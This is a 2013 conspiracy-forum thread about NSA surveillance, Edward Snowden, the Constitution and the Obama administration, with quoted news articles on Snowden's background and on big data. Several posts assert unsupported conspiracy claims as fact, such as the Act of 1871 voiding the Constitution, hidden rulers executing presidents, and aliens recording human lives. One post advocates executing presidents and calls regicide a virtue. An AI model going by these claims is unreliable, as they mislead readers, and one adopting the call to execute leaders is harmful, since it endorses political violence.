That matters not. While it does seem to bother just a few, The Constitution is the Constitution! We have plenty of people well versed in all aspect of the Constitution and Constitutional Law, so no need to be concerned with whatever theorists might try to throw around in this regard. There are certain areas in our government that do need to be eliminated, like the Federal Reserve, and the IRS, etc.. But such action will simply be a matter of doing the things necessary to "gitter done"! :))

What do You mean, "That matters not???"  The Constitution as originally written is GONE.  And if You take oath to "protect the constitution," and the constitution is NOT the one everyOne THINKS it is...  Yeah.  It MATTERS.
Title: Re: they know what you are doing
Post by: The Matrix Traveller on June 10, 2013, 06:28:16 pm
The English "Yes Minister" Series puts any PM in its true Context... Tongue in Cheek..

[youtube]http://www.youtube.com/watch?feature=player_embedded&v=osoF7nzSy2A[/youtube]
Title: Re: they know what you are doing
Post by: rdunk on June 10, 2013, 07:14:42 pm
What do You mean, "That matters not???"  The Constitution as originally written is GONE.  And if You take oath to "protect the constitution," and the constitution is NOT the one everyOne THINKS it is...  Yeah.  It MATTERS.

Prove it with indisputable proof! Not just someones theory about this and that. At the present, I flat do not accept this theory, that all has changed, other than what changed about Washington D.C., by this act. And most on the internet that I looked at do not accept the Act as being any sort of real problem either.

Many things are wrong with our government, but it is not because the Constitution has been nulled and voided, because it definitely has not been!!

Talk with someone who really knows what they are talking about, relative to the Constitution!! I wouldn't bother listening to unlearned conspiracy theorists on the subject of the Constitution.
Title: Re: they know what you are doing
Post by: rdunk on June 10, 2013, 07:34:09 pm
Matrix, that is a funny video :D - funny only because it depicts just how stupid people can be in situational mechanics. And this video pretty well covers the intended various scenarios - from disinterested, to good, to bad, to how can I not interfere with my potential promotion, and to being analyzed with whiskey, on the couch.

Watching man in the role of life can be a real hoot, and at the same time be very sad, knowing how the story of man ends.
Title: Re: they know what you are doing
Post by: petrus4 on June 10, 2013, 07:40:13 pm
Talk with someone who really knows what they are talking about, relative to the Constitution!! I wouldn't bother listening to unlearned conspiracy theorists on the subject of the Constitution.

Obama would likely never formally rescind the Constitution; anyone who did would be suicidal, at least before the Vietnam generation are extinct.  After that it probably won't matter.

Formal Constitutional suspension, however, is entirely unnecessary.  Laws already exist on the books, which are entirely capable of overriding everything it grants in practice; at which point it becomes irrelevant.

Rdunk, you currently have a government which knows only one law; superior force.  There have been members of the police talking about the possibility of Constitutional suspension in certain cases, even if Obama himself hasn't.  The reason why cops can talk about that, however, is because America is now a country where police can kill people and get away with it.

Again, you can talk about what laws are or are not theoretically on the books, as much as you want.  As far as the Obama administration is concerned, the law does not matter.  It will do whatever it wants to do, and most of the time it will get away with it, because the American population are too busy watching porn or cat videos, telling themselves that they are powerless, or engaging in mindless, reflexive worship of the military to do anything about it.

[youtube]MtN1YnoL46Q[/youtube]

This video is a good example, of what has replaced political debate or oversight in contemporary Western society.  We are cowardly, morally degenerate 4 year olds, for the most part; and the rare exceptions who exist, like Snowden or Bradley Manning, simply end up dead.

There is your vaunted Constitutional Republic.
Title: Re: they know what you are doing
Post by: rdunk on June 10, 2013, 07:59:52 pm
Actually Petrus4, I believe you and we are only beginning to see the very scratchings on the surface, for what this country can do, when the people decide that something must be done.

That which we have seen to be started in just the past few weeks is pretty amazing. As Drudge said today, "Every day a new scandal"! Even some of the mainstream news sources are beginning to directly make anti-administration comments. The people are getting very involved, and will more and more as this develops. Even I have sent specific messages to "involved" senators and congressmen, as I am certain others are doing.

The outcomes are going to get even more interesting! There is already a strong voice for the elimination of the IRS. And that might just be a good first step!! Lots of "steps" need to be taken to get this country back to where we need it to be.
Title: Re: they know what you are doing
Post by: burntheships on June 10, 2013, 10:17:12 pm
Kentucky Senator Rand Paul calling the spying an astounding
assault on The Constitution.

[youtube]-5lgvxcMkS4[/youtube]
http://www.youtube.com/watch?feature=player_embedded&v=-5lgvxcMkS4

Paul sees this just the opposite of Obama, who describes the
latest spy scandal a modest encroachments on privacy.
What does Obama know about modesty?  >:(

Quote
"I'm going to be seeing if I can challenge this at the Supreme Court level," Paul said.
 
"I'm going to be asking all the internet providers and all of the phone companies: ask your customers to join me in a class action lawsuit," Paul told host Chris Wallace. "If we get ten million Americans saying we don't want our phone records looked at, then maybe someone will wake up and something will change in Washington."
http://www.activistpost.com/2013/06/rand-paul-calls-of-mass-class-action.html?m=1

Help him reach his 10 million signatures, join the class action suit!

http://randpaul2016.com. help him reach ten million signatures!
Title: Re: they know what you are doing
Post by: sky otter on June 10, 2013, 10:49:13 pm


Edward Snowden Is A Ron Paul Supporter
The Huffington Post  |  By Amanda Terkel Posted: 06/10/2013 9:46 am EDT  |  Updated: 06/10/2013 11:04 pm EDT

AUMF Repeal Bill Would End Extraordinary War Powers Granted After 9/11
Posted: 06/10/2013 3:12 pm EDT  |  Updated: 06/10/2013 7:39 pm EDT

http://www.huffingtonpost.com/politics/
Title: Re: they know what you are doing
Post by: zorgon on June 11, 2013, 01:38:41 am
Obama on NSA surveillance: "Can't have 100% security and 100% safety"
Published time: June 07, 2013 16:30


(http://rt.com/files/news/1f/58/10/00/9.si.jpg)


They who can give up essential liberty to obtain a little temporary safety, deserve neither liberty nor safety

(http://www.hulsestrength.com/wp-content/uploads/2010/09/ben_franklin.jpg)
Title: Re: they know what you are doing
Post by: robomont on June 11, 2013, 01:42:52 am
remember when the constitution was something we understood.now its a jumble of lies.
the only true rule of law is mutualy assured destruction.
otherwise some wordsmith will turn your patriotism into terrorism.

thats why we each should have a nuclear bomb.peace through fear is the only way.thats why guns work.
why bother with laws.live your life.laws are for stooges.
Title: Re: they know what you are doing
Post by: zorgon on June 11, 2013, 03:01:53 am
AUMF Repeal Bill Would End Extraordinary War Powers Granted After 9/11


Now THAT would be awesome  ;D
Title: Re: they know what you are doing
Post by: robomont on June 11, 2013, 03:23:00 am
call me a pesimist but congress shall pass no law as long as the house and senate hate each other.and even if they agreed.olbummer would veto.
olbummer is a dictator.i just hope he runs out of money and congress doesnt give him anymore.then he will be almost powerless.
Title: Re: they know what you are doing
Post by: zorgon on June 11, 2013, 03:39:33 am
Just found this on facebook a few minutes ago LOL

(https://fbcdn-sphotos-h-a.akamaihd.net/hphotos-ak-ash3/601916_10151441578966884_23560823_n.jpg)
Title: Re: they know what you are doing
Post by: zorgon on June 11, 2013, 04:01:15 am
call me a pesimist

Okay :D

Quote
then he will be almost powerless.

Already a lame duck. This NSA stuff will keep him occupied for a while


(https://fbcdn-sphotos-f-a.akamaihd.net/hphotos-ak-ash4/992994_10151641010327726_1322205063_n.jpg)
Title: Re: they know what you are doing
Post by: zorgon on June 11, 2013, 04:28:59 am
(https://fbcdn-sphotos-a-a.akamaihd.net/hphotos-ak-ash4/1001148_10152886143585368_1458540621_n.jpg)
Title: Re: they know what you are doing
Post by: Amaterasu on June 11, 2013, 05:51:59 am
Prove it with indisputable proof! Not just someones theory about this and that. At the present, I flat do not accept this theory, that all has changed, other than what changed about Washington D.C., by this act. And most on the internet that I looked at do not accept the Act as being any sort of real problem either.

Many things are wrong with our government, but it is not because the Constitution has been nulled and voided, because it definitely has not been!!

Talk with someone who really knows what they are talking about, relative to the Constitution!! I wouldn't bother listening to unlearned conspiracy theorists on the subject of the Constitution.

[sigh]

www.freerepublic.com/focus/fnews/813840/posts
http://theunjustmedia.com/Banking%20&%20Federal%20Reserve/The%20united%20states%20Of%20America%20%20is%20a%20corporation%20owned%20by%20fore.htm
http://teamlaw.net/Mythology-CorpUS.htm
http://coupmedia.org/politics-2609
http://realitybloger.wordpress.com/tag/constitution-act-of-1871/
http://www.newciv.org/nl/newslog.php/_v308/__show_article/_a000308-000266.htm
http://expose1933.weebly.com/44-the-act-of-1871.html
[youtube]http://www.youtube.com/watch?v=gABSat3N7xg[/youtube]
[youtube]http://www.youtube.com/watch?v=z-gmVZgjcUY&feature=player_embedded[/youtube]

I could go on and on...
Title: Re: they know what you are doing
Post by: Amaterasu on June 11, 2013, 05:56:33 am
remember when the constitution was something we understood.now its a jumble of lies.
the only true rule of law is mutualy assured destruction.
otherwise some wordsmith will turn your patriotism into terrorism.

thats why we each should have a nuclear bomb.peace through fear is the only way.thats why guns work.
why bother with laws.live your life.laws are for stooges.

"If You want peace, take the profit out of war."

Peace through elimination of accounting for meaningful energy expended works better.
Title: Re: they know what you are doing
Post by: thorfourwinds on June 11, 2013, 06:24:13 am
Obama would likely never formally rescind the Constitution;

anyone who did would be suicidal, at least before the Vietnam generation are extinct...

Greetings friend petrus4:

Again, very astute observation.

That Vietnam generation (our generation) is quite aware, watching, and biding our time.    :P

In the meantime, we occupy ourselves with things like this:

711 days after Fukushima changed the world forever on 3/11/11 (http://www.thelivingmoon.com/forum/index.php?topic=3822.msg51737#msg51737)

EARTH AID - The Concert to Save All Life On Earth (http://www.thelivingmoon.com/forum/index.php?topic=1405.0)

FukuGate - We've Been Conned (http://www.thelivingmoon.com/forum/index.php?topic=3007.0)

Operation Thunderdome: Obama's cyber warriors are preparing for collapse (http://www.thelivingmoon.com/forum/index.php?topic=3992.msg53188#msg53188)

(http://www.thelivingmoon.com/43ancients/04images/Bluebird/lg50aa500a.gif) (http://)

tfw
Peace Love Light
Liberty & Equality or Revolution
Title: Re: they know what you are doing
Post by: rdunk on June 11, 2013, 09:25:22 am
"I could go on and on..."

lol! Reminds me of the TAP stuff. As a Texan would say, "All hat and no cattle". The Constitution stands, just as it always has!
Title: Re: they know what you are doing
Post by: Cosmic4life on June 11, 2013, 10:05:15 am
I think to blame Obama is a bit of a stretch ... he's not the Boss ...  the last real President was JFK as you all know.

Barry does what he is told ... or he dies ... period .

The technology to spy on communications and also what is on your screen ... what you are typing .. and even what is in the room your screen is in has been in development since the 60's.

NSA codeword TEMPEST .. Van Eck phreaking , Walsh functions as a part of EMSEC .. Emission Security and Surveillance.

PROMIS .. AI .. PRISM .. ECHELON is just the tip of the Iceberg .. these are just the information processing and distribution systems.

C..
Title: Re: they know what you are doing
Post by: SarK0Y on June 11, 2013, 03:32:42 pm
(https://fbcdn-sphotos-a-a.akamaihd.net/hphotos-ak-ash4/1001148_10152886143585368_1458540621_n.jpg)
Yes, Amicus, you shot right out the :D it's been very problem of such work: lot of personnel gone badly bad after cherries. 
Title: Re: they know what you are doing
Post by: Edward on June 11, 2013, 04:15:08 pm
Just found this on facebook a few minutes ago LOL

(https://fbcdn-sphotos-h-a.akamaihd.net/hphotos-ak-ash3/601916_10151441578966884_23560823_n.jpg)



z,  give me a link for this. I wanna post this to FB as well get the word out and to let people see the comparisons, for those who don't have a clue yet and a stiff reminder to those who do  know but just say "well what can we do, cant fight city hall".   


Edward
Title: Re: they know what you are doing
Post by: The Matrix Traveller on June 11, 2013, 04:43:19 pm
Does it really matter if everything is known about ourselves ?

Why are some so "Paranoid" about this ?

After all LIFE knows ALL anyway.

You can't HIDE anything !   :)

We only fear that everything is known about us, IF we have something to hide !

If everything is known about ME... then I am seen in TRUTH !

IF NOT then I am misunderstood !

The human species in fact has NO Control over LIFE at all.   :)

It is LIFE which Controls ALL, through its Written Programs,
yet to be understood in its True Context by most on Earth.
Title: Re: they know what you are doing
Post by: Edward on June 11, 2013, 05:51:26 pm
I understand what your are saying. 

There is how ever veils of many kinds around. When we start dropping some of these, your sentiments will echo all that much more clearer.


Edward


Edit: that should make some sense. I came back and read it and I'm like wtf did I just say???  LOL   :o ;)
Title: Re: they know what you are doing
Post by: vril on June 11, 2013, 07:25:58 pm
Does it really matter if everything is known about ourselves ?

Why are some so "Paranoid" about this ?

After all LIFE knows ALL anyway.

You can't HIDE anything !   :)

We only fear that everything is known about us, IF we have something to hide !

If everything is known about ME... then I am seen in TRUTH !

IF NOT then I am misunderstood !

The human species in fact has NO Control over LIFE at all.   :)

It is LIFE which Controls ALL, through its Written Programs,
yet to be understood in its True Context by most on Earth.

It's not so much that everything is known, obviously our entire life is recorded by the powers that be (read: aliens) and I am completely fine with that.  The problem is what humans do with this knowledge (law enforcement, government).  Of course, people just have been living in an illusion of civil liberty, the government has been doing this for decades if not centuries, it's just so pervasive now that the system cannot even be dismantled.

This is about my feeling on it too.  It was also pretty obvious to me that this has been happening for decades.  I guess the fear is just what law enforcement and government will do w The facade of terrorism has just made the majority of people accept it too. 
Title: Re: they know what you are doing
Post by: Sgt.Rocknroll on June 11, 2013, 07:43:29 pm
Does it really matter if everything is known about ourselves ?

Why are some so "Paranoid" about this ?

After all LIFE knows ALL anyway.

You can't HIDE anything !   :)

We only fear that everything is known about us, IF we have something to hide !

If everything is known about ME... then I am seen in TRUTH !

IF NOT then I am misunderstood !

The human species in fact has NO Control over LIFE at all.   :)

It is LIFE which Controls ALL, through its Written Programs,
yet to be understood in its True Context by most on Earth.

I don't think it's so much people knowing about us, it's the realization that you might be watched and probed without your outright consent.

Anyone that thinks they have any kind of personal privacy, should not use a computer, cell phones, or any digital media,. Ie Facebook and the like. I'm not a bit surprised that the NSA is envolved. They had their name stamped on every piece of equipment I've ever been around. You should have seen the crypto equipment and keying material they had in the 70's. man it'd make your head swim.  Sorry rambling a bit. Time for bed.
Title: Re: they know what you are doing
Post by: The Matrix Traveller on June 11, 2013, 07:44:48 pm
It's not so much that everything is known, obviously our entire life is recorded by the powers that be (read: aliens) and I am completely fine with that.  The problem is what humans do with this knowledge (law enforcement, government).  Of course, people just have been living in an illusion of civil liberty, the government has been doing this for decades if not centuries, it's just so pervasive now that the system cannot even be dismantled.

This is about my feeling on it too.  It was also pretty obvious to me that this has been happening for decades.  I guess the fear is just what law enforcement and government will do w The facade of terrorism has just made the majority of people accept it too.

We must remember our whole experience (Individual Body & Environment) is being produce by something
(LIFE) other than the human Species.

This is done through a "Processing System" known by some.

And used in every day Life by those NOT from the Earth !

This "Technology" is used in just about everything by other Civilisations from outside the Earth,
in "Transport Systems", "Communication", "Manufacture", "Accessing Knowledge" and "Entertainment" etc..

Your/our Individual Experience is produced before, you/we enter into the experience (vril & Environment
i.e. Earth or Universe Experience) but we are about to know, how to change (Edit our own Experience)

The human species is the Result of "Reading" (A Computer Term) a "Program Book".

This experience (re. Body and Universe) is a bit like what we have today in the form of a "1st Person"
Video or Computer Game played on the net.

Except what we believe to be "Reality", is merely a more sophisticated "1st Person" Game
than what is played on the Net.   :)

So Gov. have NO "Control", over anything at all...  It is just an Illusion....   :)  But a very well executed One.   :)
Title: Re: they know what you are doing
Post by: The Matrix Traveller on June 11, 2013, 07:48:00 pm
Privacy is only an "Illusion", some wish to believe in...   :)
Title: Re: they know what you are doing
Post by: Amaterasu on June 11, 2013, 11:08:06 pm
"I could go on and on..."

lol! Reminds me of the TAP stuff. As a Texan would say, "All hat and no cattle". The Constitution stands, just as it always has!

You keep believing that, rdunk, but I propose to You that it surely explains why so many "representatives" do NOT uphold the constitution as WE might believe it to be.  They took oaths...but to what?
Title: Re: they know what you are doing
Post by: zorgon on June 12, 2013, 03:53:50 am
Obama Demands Court Uphold His “Right” To Ignore Constitution

(http://www.westernjournalism.com/wp-content/uploads/2012/03/obama-speech-7-SC.jpg)

Quote
Obama’s Department of Justice is demanding a federal judge dismiss the injunction with which she sought to uphold the constitutional rights of the American people.

On May 16th, federal judge Kathleen Forrest granted a preliminary injunction to plaintiffs in a lawsuit filed against Barack Obama and the National Defense Authorization Act of 2012 (NDAA), striking down those sections of the Act that provide the president the power to indefinitely detain American citizens without benefit of their 5th and 6th Amendment rights.

Under the terms of the Act, Obama had been given exclusive authority to direct members of the US military to arrest and imprison anyone he believed to have “substantially supported” al Qaeda, the Taliban, or “associated forces.” When pressed by plaintiff’s attorneys about the practical extent of this authority, government lawyers admitted “…the NDAA does give the president the power to lock up people like journalist Chris Hedges and peaceful activists,” admitting that “…even war correspondents could be locked up indefinitely under the NDAA.”

And when asked by the judge what it meant to be an “associated force”, Obama’s lawyers “…claimed the right to refrain from offering any clear definition of [the] term, or clear boundaries of the president’s power under [the] law.” In short, it is the federal government’s scheme that the Act remain so vague that a corrupt and power-hungry Administration may imprison virtually anyone it considers a threat to its pursuit of absolute power.

On July 25th, Administration lawyers filed papers demanding Judge Forrest’s preliminary injunction NOT be made permanent. In the filing, Obama made it clear his Administration would ignore the court and its injunction regardless of what the judge may decide, claiming incorrectly that “…[the] injunction would have ‘nil’ effect, for the government would continue to possess the identical detention authority under the 2001 Authorization for Use of Military Force…” Of course, that is a lie, as the AUMF applies only to known members of al Qaeda or the Taliban.

Most indicative of the Obama Administration’s contempt for Judge Forrest, the law, and the American people was government attorney Benjamin Torrance’s claim that it was “the Obama Administration’s position” NDAA detention provisions do not apply to American citizens living in the US. Judge Forrest responded by quoting Chief Justice Roberts, who wrote in a 2010 case that the Supreme Court “…would not uphold an unconstitutional statute merely because the government promised to use it reasonably.” So much for Judge Forrest’s faith in the validity and value of Obama’s signing statement promise to not employ his Section 1021 authority to indefinitely detain the American public!

Yet incredibly, when pressed on the issue, this Obama mouthpiece suggested to Forrest that concerns about the president’s detention powers were excessive as American citizens would, after all, have the ability to file  a writ of habeas corpus should they be illegally or improperly jailed! “How long does [such a] petition take,” asked Forrest? When Torrance refused to answer, the Judge continued, “Several years, right”?

So not only did Obama’s attorney lie about his Marxist boss’s corrupt intentions; he actually claimed that the abuse of American citizens was somehow acceptable because those unconstitutionally imprisoned might ask that the charges against them be produced after ONLY a few years behind bars!

Judge Forrest will soon decide whether to make the injunction permanent. Every citizen must watch very carefully for that ruling, as the “mainstream” media has ignored the story completely. We must all hope the Judge will not be intimidated by this corrupt Regime as so many of her colleagues have been before her.

Follow Coach at twitter.com @KcoachcCoach

http://www.westernjournalism.com/obama-demands-court-uphold-his-right-to-ignore-constitution/
Title: Re: they know what you are doing
Post by: zorgon on June 12, 2013, 04:07:00 am
Now Russia set to offer whistleblower asylum: Putin 'considers' giving Edward Snowden refuge as NSA leaker vanishes in Hong Kong

Quote
Russia today hinted that Vladimir Putin would grant political asylum to Edward Snowden, the NSA whistleblower who leaked the secret information about a classified U.S. government surveillance program.

'We will take action based on what actually happens. If we receive such a request, it will be considered,' said the Russian president's official spokesman Dmitry Peskov.

The former CIA undercover operative is on the run after checking out of his luxury Hong Kong hotel on Sunday - his whereabouts is unknown.

http://www.dailymail.co.uk/news/article-2339329/Russia-hints-Putin-grant-political-asylum-whistleblower-Edward-Snowden-NSA-leaker-vanishes-Hong-Kong.html

Title: Re: they know what you are doing
Post by: petrus4 on June 12, 2013, 04:25:33 am
Obama Demands Court Uphold His “Right” To Ignore Constitution

The great irony, however, is that while Americans continue their reflexive worship of the Constitution, they fail to recognise that part of the reason for the mess in which they currently find themselves, can be attributed to weaknesses in said Constitutional system.

I will explain here, by saying that, in Western (and particularly American) society, we are held to derive our philosophy, and the very fabric of our thought itself, from Greece and Rome.  This is the first point.

The second point, however, is that while American Presidents often throw the word "democracy," around as though they know what it means, what they of course do not mention, is that democracy in the direct and genuine sense of the word, was a Greek invention, specifically.  The Republican system which America currently has, was modelled on Rome.

Why is this a problem?  Simply because the core element of this political system, is a legislature.  That is, you do not have direct democracy; you have representative democracy via said legislature.

I will contend that there has never been a representative, or non-direct legislature in human history, which did not rapidly degenerate into a corrupt, fascist gerontocracy, virtually the moment after its' inception.  Rome's legislature did not escape that fate, and neither has America.

The American Senate can rightfully be considered a mausoleum.  It is populated by a body of ghouls, none of whom are less than 50 years old at a bare minimum, and all of whom are subject to vast bribes from the corporate establishment.  This is precisely as it was in Rome's day, as well; and it is a crucial element of the cause of Rome's fall.  If Americans were going to consider trying to implement genuine political reform, my first suggestion would probably be to employ the services of Buffy the vampire slayer.

(http://1.bp.blogspot.com/_CqPXN1_5w4k/TTzX-56QJKI/AAAAAAAAAaQ/b91JOZDGdDU/s400/Buffy+-+Buffy+with+Axe.jpg)

If you want to learn about a form of government that truly involved the people, however, then for that you would need to study Sparta, and to a lesser extent Athens.  The Spartans had direct democracy; and more importantly, they recognised that a quality education was vital for the survival and effective functioning of real participatory government.

America, by contrast, is ruled by a plutocracy of geriatric psychopaths; and said psychopaths have no interest in promoting public education or critical thought whatsoever.  John Rockefeller said it directly; that he did not want a nation of thinkers, but a nation of workers.

The political situation will not improve, until people are willing to become politically self-responsible; and in order for them to do that, they must (particularly in the case of Americans, as mentioned) cease believing that the best system they can have, is one in which they deliberately forfeit said responsibility to someone else, rather than exercising it themselves.  With a legislature, that is what you do.

If you want political integrity back, there are two ways you can get it.

a}  The legislative branch must be abolished completely.  The people must vote directly on laws themselves, rather than them delegating a geriatric fascist cabal to do so for them.  The only truly democratic means of passing laws is by referendum.  Anything else is psychopathic fraud.  Anyone who responds to this point, by quoting any of the Constitution's authors to the effect that democracy is "mob rule," will be summarily and contemptuously ignored, as a victim of plutocratic mind control.

The judges can stay where they are; I have no grievance with them for the most part, and indeed we often see the judicial branch acting as the people's last line of defense, while the legislature are busy enjoying their bribes.  That is not to say that the judges themselves are incorruptible, either; but they do genuinely seem to be less prone to it than the Congress.

b}  If you are going to keep an executive, then the executive must be informed in no uncertain terms that his role is to serve the people; meaning said general population that is responsible for voting on said laws, and that if he does not execute the people's will, the people will execute him. 

I suspect that impeachment also carrying the death penalty would create a much stronger incentive for appropriate Presidential behaviour, and in point of fact, that has been the practice since JFK; it is simply that the Eye have executed Presidents who have attempted to deviate from their will, rather than said law being held and exercised by the people themselves.  Regicide may be a moral crime, but at times it is also a social virtue.
Title: Re: they know what you are doing
Post by: sky otter on June 12, 2013, 07:19:00 am

interesting history on the whistleblower Snowden within  this fraction of an interview


http://www.guardian.co.uk/world/2013/jun/09/edward-snowden-nsa-whistleblower-surveillance


Snowden did not always believe the US government posed a threat to his political values. He was brought up originally in Elizabeth City, North Carolina. His family moved later to Maryland, near the NSA headquarters in Fort Meade.

By his own admission, he was not a stellar student. In order to get the credits necessary to obtain a high school diploma, he attended a community college in Maryland, studying computing, but never completed the coursework. (He later obtained his GED.)

In 2003, he enlisted in the US army and began a training program to join the Special Forces. Invoking the same principles that he now cites to justify his leaks, he said: "I wanted to fight in the Iraq war because I felt like I had an obligation as a human being to help free people from oppression".

He recounted how his beliefs about the war's purpose were quickly dispelled. "Most of the people training us seemed pumped up about killing Arabs, not helping anyone," he said. After he broke both his legs in a training accident, he was discharged.

After that, he got his first job in an NSA facility, working as a security guard for one of the agency's covert facilities at the University of Maryland. From there, he went to the CIA, where he worked on IT security. His understanding of the internet and his talent for computer programming enabled him to rise fairly quickly for someone who lacked even a high school diploma.

By 2007, the CIA stationed him with diplomatic cover in Geneva, Switzerland. His responsibility for maintaining computer network security meant he had clearance to access a wide array of classified documents.

That access, along with the almost three years he spent around CIA officers, led him to begin seriously questioning the rightness of what he saw.

He described as formative an incident in which he claimed CIA operatives were attempting to recruit a Swiss banker to obtain secret banking information. Snowden said they achieved this by purposely getting the banker drunk and encouraging him to drive home in his car. When the banker was arrested for drunk driving, the undercover agent seeking to befriend him offered to help, and a bond was formed that led to successful recruitment.

"Much of what I saw in Geneva really disillusioned me about how my government functions and what its impact is in the world," he says. "I realised that I was part of something that was doing far more harm than good."

He said it was during his CIA stint in Geneva that he thought for the first time about exposing government secrets. But, at the time, he chose not to for two reasons.

First, he said: "Most of the secrets the CIA has are about people, not machines and systems, so I didn't feel comfortable with disclosures that I thought could endanger anyone". Secondly, the election of Barack Obama in 2008 gave him hope that there would be real reforms, rendering disclosures unnecessary.

He left the CIA in 2009 in order to take his first job working for a private contractor that assigned him to a functioning NSA facility, stationed on a military base in Japan. It was then, he said, that he "watched as Obama advanced the very policies that I thought would be reined in", and as a result, "I got hardened."

The primary lesson from this experience was that "you can't wait around for someone else to act. I had been looking for leaders, but I realised that leadership is about being the first to act."

Over the next three years, he learned just how all-consuming the NSA's surveillance activities were, claiming "they are intent on making every conversation and every form of behaviour in the world known to them".

He described how he once viewed the internet as "the most important invention in all of human history". As an adolescent, he spent days at a time "speaking to people with all sorts of views that I would never have encountered on my own".

But he believed that the value of the internet, along with basic privacy, is being rapidly destroyed by ubiquitous surveillance. "I don't see myself as a hero," he said, "because what I'm doing is self-interested: I don't want to live in a world where there's no privacy and therefore no room for intellectual exploration and creativity."

Once he reached the conclusion that the NSA's surveillance net would soon be irrevocable, he said it was just a matter of time before he chose to act. "What they're doing" poses "an existential threat to democracy", he said.

A matter of principle
As strong as those beliefs are, there still remains the question: why did he do it? Giving up his freedom and a privileged lifestyle? "There are more important things than money. If I were motivated by money, I could have sold these documents to any number of countries and gotten very rich."

For him, it is a matter of principle. "The government has granted itself power it is not entitled to. There is no public oversight. The result is people like myself have the latitude to go further than they are allowed to," he said.

His allegiance to internet freedom is reflected in the stickers on his laptop: "I support Online Rights: Electronic Frontier Foundation," reads one. Another hails the online organisation offering anonymity, the Tor Project.

Asked by reporters to establish his authenticity to ensure he is not some fantasist, he laid bare, without hesitation, his personal details, from his social security number to his CIA ID and his expired diplomatic passport. There is no shiftiness. Ask him about anything in his personal life and he will answer.

He is quiet, smart, easy-going and self-effacing. A master on computers, he seemed happiest when talking about the technical side of surveillance, at a level of detail comprehensible probably only to fellow communication specialists. But he showed intense passion when talking about the value of privacy and how he felt it was being steadily eroded by the behaviour of the intelligence services.

His manner was calm and relaxed but he has been understandably twitchy since he went into hiding, waiting for the knock on the hotel door. A fire alarm goes off. "That has not happened before," he said, betraying anxiety wondering if was real, a test or a CIA ploy to get him out onto the street.

Strewn about the side of his bed are his suitcase, a plate with the remains of room-service breakfast, and a copy of Angler, the biography of former vice-president Dick Cheney.

Ever since last week's news stories began to appear in the Guardian, Snowden has vigilantly watched TV and read the internet to see the effects of his choices. He seemed satisfied that the debate he longed to provoke was finally taking place.

He lay, propped up against pillows, watching CNN's Wolf Blitzer ask a discussion panel about government intrusion if they had any idea who the leaker was. From 8,000 miles away, the leaker looked on impassively, not even indulging in a wry smile.

Snowden said that he admires both Ellsberg and Manning, but argues that there is one important distinction between himself and the army private, whose trial coincidentally began the week Snowden's leaks began to make news.

"I carefully evaluated every single document I disclosed to ensure that each was legitimately in the public interest," he said. "There are all sorts of documents that would have made a big impact that I didn't turn over, because harming people isn't my goal. Transparency is."

He purposely chose, he said, to give the documents to journalists whose judgment he trusted about what should be public and what should remain concealed.

As for his future, he is vague. He hoped the publicity the leaks have generated will offer him some protection, making it "harder for them to get dirty".

He views his best hope as the possibility of asylum, with Iceland – with its reputation of a champion of internet freedom – at the top of his list. He knows that may prove a wish unfulfilled.

But after the intense political controversy he has already created with just the first week's haul of stories, "I feel satisfied that this was all worth it. I have no regrets."
Title: Re: they know what you are doing
Post by: sky otter on June 12, 2013, 09:47:57 am


NSA Spying Controversy Highlights Embrace Of Big Data
 Posted: 06/12/2013 7:36 am EDT  |  Updated: 06/12/2013 10:28 am EDT

Even within the infrastructure of the American surveillance apparatus, the National Security Agency is notoriously secretive. The spy agency jealously guards from public view practically all aspects of its operations, from the information it collects to its plans for a massive 100,000-square-foot building being constructed in the Utah desert.
http://www.foxnews.com/tech/2013/06/11/inside-nsas-secret-utah-data-center/

But when it comes to the agency's primary tool for making sense of all that data, the NSA hasn't been secretive at all. Indeed, two years ago, it made public the very code for a key program it uses to analyze the firehose of information pouring into its computer servers.

The NSA’s decision to give away that code to developers has helped fuel what is now a booming trend in technology known as "big data." The technology, Accumulo, makes it possible for companies to sift through massive amounts of information with essentially the same degree of sophistication and security as the country's top spy agency.

The use of computers to spot connections along a trail of digital breadcrumbs is hardly new. For years, major companies, from Amazon to Facebook to Google, have analyzed customer information to suggest books, friends or search results.

But the NSA’s use of such computing power was not widely understood until last week, when The Guardian and The Washington Post reported the agency was collecting and crunching huge amounts of Internet, phone and financial data in a bid to predict terrorist activity.
http://www.guardian.co.uk/world/2013/jun/06/us-tech-giants-nsa-data



The revelation that the NSA was collecting a massive trove of phone and Internet records from Americans highlights privacy concerns around the use of data analysis to draw conclusions from a wide of variety of information.

“There are all sorts of things you can do with this technology,” said Matthew Turck, managing director in FirstMark Capital, a venture capital firm. “Now it’s up to society to decide what’s acceptable and what’s not acceptable.”

The same cheap data storage and free open-source software used by the NSA now allows companies to conduct the kind of sophisticated data analysis once was only available to Internet giants like IBM and Google.

“Ten years ago, if you wanted to store and process that much data you would have to spend millions of dollars buying really expensive servers,” said Ben Siscovick, general partner at IA Ventures, a venture capital firm that invests in big data companies. “Now, the tools are out there, and they’re accessible in a low-cost way to just about anybody who wants it.”

For advocates of big data -- an industry with an estimated value approaching $100 billion -- the potential for technology like Accumulo has barely been tapped.

"This is the first technological innovation since the Internet with the potential to change the world," said Christopher Lynch, an investor that has bankrolled 10 Boston-area big data companies.

One of those companies is Sqrrl, which Lynch helped launch two years ago after poaching from the NSA six engineers who developed Accumulo. Sqrrl markets its technology to companies in the telecom, health care and financial sectors who need extra security when dealing with sensitive customer data. The database sorts through enormous amounts of information and restricts access to users with high-level security clearances, said Ely Kahn, the company's co-founder.

Its technology is used by major banks to predict whether customers will pay off their credit cards based on information like the demographic characteristics of their neighborhoods. It is also used by a telecom provider to spot damage on its network by searching for keywords like “broken” in a database of customer service calls, Kahn said.

“It’s similar to the way Amazon or eBay use databases to predict what you might want to buy next,” he said.



But the growing reliance on databases and software to draw conclusions has raised privacy concerns before. Target, for example, sparked controversy last year when an employee told The New York Times how the company could determine whether a woman was pregnant based on her purchasing history and demographic information.
http://www.forbes.com/fdc/welcome_mjx.shtml


Lenders have started assessing the creditworthiness of borrowers by doing big-data analysis on their social media connections.
http://www.economist.com/news/finance-and-economics/21571468-lenders-are-turning-social-media-assess-borrowers-stat-oil
 And some health insurers have started buying massive databases to potentially flag people for being at risk of obesity if they have a history of buying plus-sized clothing, according to The Wall Street Journal.
http://online.wsj.com/article/SB10001424127887323384604578326151014237898.html

FirstMark Capital's Turck predicted that the ability for both the NSA and companies to unlock secrets from the data they collect “is only going to get more powerful and more precise."

“The genie is out of the bottle,” he said.http://www.huffingtonpost.com/2013/06/12/nsa-big-data_n_3423482.html
Title: Re: they know what you are doing
Post by: robomont on June 12, 2013, 10:09:49 am
lets say im a pot smoker and grower.my  gov doesnt need that info.
